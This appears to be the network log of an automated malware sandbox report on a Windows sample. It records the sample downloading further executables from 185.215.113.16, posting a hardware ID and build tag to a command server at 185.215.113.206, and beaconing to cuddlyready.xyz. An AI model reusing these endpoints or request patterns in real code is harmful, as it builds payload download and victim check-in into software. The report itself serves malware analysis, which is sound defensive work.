Dec 23, 2024 08:15:54.410835981 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.410900116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.411191940 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.411811113 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.411874056 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.411886930 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.412007093 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.412026882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.412269115 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.412322044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.412409067 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.412421942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.412524939 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.412667036 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.412667036 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.413074017 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.413158894 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.413172960 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.413281918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.413332939 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.413332939 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.413942099 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.413963079 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.413975954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.414000988 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.414118052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.414158106 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.414668083 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.414737940 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.414750099 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.414818048 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.460005045 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.462909937 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.463000059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.463053942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.463089943 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.463093042 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.463140965 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.463218927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.463254929 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.463296890 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.463413954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.463470936 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.463526011 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.464004040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.464066982 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.464137077 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.464215040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.464251041 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.464322090 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.464761019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.464818001 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.464853048 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.464894056 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.464976072 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.465010881 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.465543985 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.465615034 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.465650082 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.465677977 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.465742111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.465826988 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.503983974 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.537455082 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.537612915 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.537668943 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.537725925 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.537761927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.537770033 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.537770987 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.537797928 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.538309097 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.538398981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.538435936 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.538513899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.539120913 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.539200068 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.539235115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.539252043 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.539252043 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.539252043 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.539252996 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.539269924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.539875984 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.539974928 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.539997101 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.540016890 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.540107965 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.540657043 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.540709019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.540720940 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.540837049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.540877104 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.540877104 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.540877104 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.540877104 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.541445017 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.541517019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.541529894 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.541656971 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.542249918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.542290926 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.542303085 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.542330027 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.542330027 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.542330027 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.542432070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.543031931 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.543086052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.543097019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.543210030 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.543231010 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.543231964 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.543824911 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.543901920 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.543914080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.543997049 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.543997049 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.544044018 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.544606924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.544681072 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.544692993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.544814110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.544856071 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.544856071 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.544856071 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.545361996 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:54.584959030 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:54.824510098 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:58.526513100 CET	49796	80	192.168.2.10	185.215.113.206
Dec 23, 2024 08:15:58.646213055 CET	80	49796	185.215.113.206	192.168.2.10
Dec 23, 2024 08:15:58.646336079 CET	49796	80	192.168.2.10	185.215.113.206
Dec 23, 2024 08:15:58.646563053 CET	49796	80	192.168.2.10	185.215.113.206
Dec 23, 2024 08:15:58.766155005 CET	80	49796	185.215.113.206	192.168.2.10
Dec 23, 2024 08:15:59.988811016 CET	80	49796	185.215.113.206	192.168.2.10
Dec 23, 2024 08:15:59.988923073 CET	49796	80	192.168.2.10	185.215.113.206
Dec 23, 2024 08:16:00.013396978 CET	49796	80	192.168.2.10	185.215.113.206
Dec 23, 2024 08:16:00.133172035 CET	80	49796	185.215.113.206	192.168.2.10
Dec 23, 2024 08:16:00.463521957 CET	80	49796	185.215.113.206	192.168.2.10
Dec 23, 2024 08:16:00.463629961 CET	49796	80	192.168.2.10	185.215.113.206
Dec 23, 2024 08:16:04.659960985 CET	49796	80	192.168.2.10	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:15:22.643712044 CET	54753	53	192.168.2.10	1.1.1.1
Dec 23, 2024 08:15:22.950349092 CET	53	54753	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 08:15:22.643712044 CET	192.168.2.10	1.1.1.1	0xd15	Standard query (0)	cuddlyready.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 08:15:22.950349092 CET	1.1.1.1	192.168.2.10	0xd15	No error (0)	cuddlyready.xyz		172.67.150.173	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:15:22.950349092 CET	1.1.1.1	192.168.2.10	0xd15	No error (0)	cuddlyready.xyz		104.21.32.96	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cuddlyready.xyz

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49763	185.215.113.16	80	7688	C:\Users\user\Desktop\0OkLsJL2Bn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:15:43.154787064 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:15:44.492877960 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:15:43 GMT Content-Type: application/octet-stream Content-Length: 2845696 Last-Modified: Mon, 23 Dec 2024 06:14:51 GMT Connection: keep-alive ETag: "6768ffdb-2b6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +I,`Ui`D @ @ @.rsrcD``@.idata f@tnrxecbv**h@anayjrgy +F+@.taggant@+"J+@
Dec 23, 2024 08:15:44.492938995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:15:44.492950916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:15:44.493153095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:15:44.493165016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:15:44.493175983 CET	1120	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:15:44.493186951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:15:44.493197918 CET	1236	IN	Data Raw: 17 e6 b4 25 17 04 b7 4d 29 e6 b4 2f 41 20 b7 4d 29 e6 b4 2f 19 e9 31 27 17 e6 b8 4f 17 f9 e4 27 17 f9 b4 25 17 e7 b4 25 28 05 f5 98 2a e6 b4 2f 36 26 bf 37 17 0e bb 25 17 ec da 4f 17 f9 e4 29 17 30 b5 25 17 e8 b4 25 28 fa c8 45 56 e6 c3 25 3f ed Data Ascii: %M)/A M)/1'O'%%(*/6&7%O)0%%(EV%?%+/?%!"D'%;+%E%?%!%+?%%(K%%(%2:/"P^$#>:?%!.%!%%?%O%M#+ U%)
Dec 23, 2024 08:15:44.493472099 CET	1236	IN	Data Raw: 17 ef b4 25 17 e7 b4 25 17 e8 b4 25 17 ed b4 25 17 e6 b4 38 1f e7 b4 25 17 e6 b4 2b 17 56 bc 0b 21 ec b4 02 1f cc be 2b 17 63 bb d9 20 f5 b4 2b 21 e6 b4 2b 17 8b bb 44 20 ec b4 51 1e 05 be 2b 17 f3 bb 44 20 ec b4 e9 1e 05 be 2b 17 76 bc 44 20 ec Data Ascii: %%%%8%+V!+c +!+D Q+D +vD +D += +oa+ !+K !+3"!+/ +G + m+J G"+`/+ %%&%
Dec 23, 2024 08:15:44.493490934 CET	1236	IN	Data Raw: 17 8a ba 25 17 f0 b4 97 1b e6 b4 30 17 9d ba 25 17 e7 b4 77 1c e6 b4 26 17 51 bd 25 17 e8 b4 f1 1c e6 b4 28 17 f3 bc 2e 17 8d be 26 17 f7 b4 cc 20 ec b4 3e 17 8d be 2f 17 0f b5 cc 20 f6 b4 56 17 8d be 35 17 1f b5 cc 20 f6 b4 66 17 8d be 35 17 2f Data Ascii: %0%w&Q%(.& >/ V5 f5/ v5? :O 5_ + +o &V Q[ f-p170"J)X:+-o
Dec 23, 2024 08:15:44.612591982 CET	1236	IN	Data Raw: 67 32 fe 68 58 3a fa 25 6a 2b 07 7c 60 29 fa 84 60 34 09 6b 69 38 04 6d 58 3a fa 25 6b 35 00 6b 65 45 fe 72 67 2b 07 79 66 34 f6 79 5c e6 07 6b 69 3c fe 68 5c 45 05 67 6c 39 fa 84 5a 35 03 7a 60 34 0a 6b 17 34 fa 79 59 2f 03 6a 69 2b 02 75 6d 2b Data Ascii: g2hX:%j+\|`)`4ki8mX:%k5keErg+yf4y\ki<h\Egl9Z5z`4k4yY/ji+um+x\8oZ+i_'m\Ete,l9d'g^+d5n]?hf5Z5l`-x\8oZ+wl+v)t]/%j)sX4l\8rf)&j+\|`)\8uiEw`:hX2x\8oZ+ki8xv4xd'&j+\|`)l9wv*k`4iv)tk8
Dec 23, 2024 08:15:49.670344114 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:15:50.120413065 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:15:49 GMT Content-Type: application/octet-stream Content-Length: 2907648 Last-Modified: Mon, 23 Dec 2024 06:16:47 GMT Connection: keep-alive ETag: "6769004f-2c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O(-@M$a$$ $h@.rsrc$x@.idata $z@wwqufnsk$\|@dutjqjqnO8,@.taggant0O"<,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49796	185.215.113.206	80	6008	C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:15:58.646563053 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 08:15:59.988811016 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:15:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 08:16:00.013396978 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDAKFBFBFBAAAAAEBKJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 43 41 34 34 43 39 45 36 46 37 39 33 39 39 34 38 38 30 37 35 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 41 4b 46 42 46 42 46 42 41 41 41 41 41 45 42 4b 4a 2d 2d 0d 0a Data Ascii: ------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="hwid"2CA44C9E6F793994880753------HJDAKFBFBFBAAAAAEBKJContent-Disposition: form-data; name="build"stok------HJDAKFBFBFBAAAAAEBKJ--
Dec 23, 2024 08:16:00.463521957 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:16:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49707	172.67.150.173	443	7688	C:\Users\user\Desktop\0OkLsJL2Bn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:15:24 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cuddlyready.xyz
2024-12-23 07:15:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 07:15:24 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:15:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sc92m4tlsgbqil7q93i2u4emaf; expires=Fri, 18 Apr 2025 01:02:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fk1EOUF3qjLCmHilV4ss92SULZoAAHp5o6K0cGV7mfpRSXbULzvMCDUdVCxdYb0IVxArl%2B42%2FVsqkkyn5Ifu8tFy7Lf9pK%2BtEcnFIqN7R8hgxYIRkmb6k49o5sn5%2Fb5D7SQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f668f6dcaaf3350-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1777&rtt_var=686&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1574123&cwnd=173&unsent_bytes=0&cid=872b438c9fb0f1f9&ts=808&x=0"
2024-12-23 07:15:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 07:15:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49713	172.67.150.173	443	7688	C:\Users\user\Desktop\0OkLsJL2Bn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:15:26 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: cuddlyready.xyz
2024-12-23 07:15:26 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
